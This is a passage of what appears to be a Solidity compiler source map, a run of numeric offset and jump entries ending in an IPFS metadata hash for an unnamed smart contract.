:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5907:306::-;5995:6;6003;6011;6064:2;6052:9;6043:7;6039:23;6035:32;6032:52;;;6080:1;6077;6070:12;6032:52;6109:9;6103:16;6093:26;;6159:2;6148:9;6144:18;6138:25;6128:35;;6203:2;6192:9;6188:18;6182:25;6172:35;;5907:306;;;;;:::o;6497:277::-;6564:6;6617:2;6605:9;6596:7;6592:23;6588:32;6585:52;;;6633:1;6630;6623:12;6585:52;6665:9;6659:16;6718:5;6711:13;6704:21;6697:5;6694:32;6684:60;;6740:1;6737;6730:12;6779:400;6981:2;6963:21;;;7020:2;7000:18;;;6993:30;7059:34;7054:2;7039:18;;7032:62;-1:-1:-1;;;7125:2:1;7110:18;;7103:34;7169:3;7154:19;;6779:400::o;7184:398::-;7386:2;7368:21;;;7425:2;7405:18;;;7398:30;7464:34;7459:2;7444:18;;7437:62;-1:-1:-1;;;7530:2:1;7515:18;;7508:32;7572:3;7557:19;;7184:398::o;9161:125::-;9226:9;;;9247:10;;;9244:36;;;9260:18;;:::i;9646:135::-;9685:3;9706:17;;;9703:43;;9726:18;;:::i;:::-;-1:-1:-1;9773:1:1;9762:13;;9646:135::o;9786:128::-;9853:9;;;9874:11;;;9871:37;;;9888:18;;:::i;10051:127::-;10112:10;10107:3;10103:20;10100:1;10093:31;10143:4;10140:1;10133:15;10167:4;10164:1;10157:15;10183:251;10253:6;10306:2;10294:9;10285:7;10281:23;10277:32;10274:52;;;10322:1;10319;10312:12;10274:52;10354:9;10348:16;10373:31;10398:5;10373:31;:::i;10439:980::-;10701:4;10749:3;10738:9;10734:19;10780:6;10769:9;10762:25;10806:2;10844:6;10839:2;10828:9;10824:18;10817:34;10887:3;10882:2;10871:9;10867:18;10860:31;10911:6;10946;10940:13;10977:6;10969;10962:22;11015:3;11004:9;11000:19;10993:26;;11054:2;11046:6;11042:15;11028:29;;11075:1;11085:195;11099:6;11096:1;11093:13;11085:195;;;11164:13;;-1:-1:-1;;;;;11160:39:1;11148:52;;11255:15;;;;11220:12;;;;11196:1;11114:9;11085:195;;;-1:-1:-1;;;;;;;11336:32:1;;;;11331:2;11316:18;;11309:60;-1:-1:-1;;;11400:3:1;11385:19;11378:35;11297:3;10439:980;-1:-1:-1;;;10439:980:1:o;11424:217::-;11464:1;11490;11480:132;;11534:10;11529:3;11525:20;11522:1;11515:31;11569:4;11566:1;11559:15;11597:4;11594:1;11587:15;11480:132;-1:-1:-1;11626:9:1;;11424:217::o

ipfs://faa6b5da8f9b4a82e73d259fd59466397bcf7a2f8ee618478b41819bd238dfb9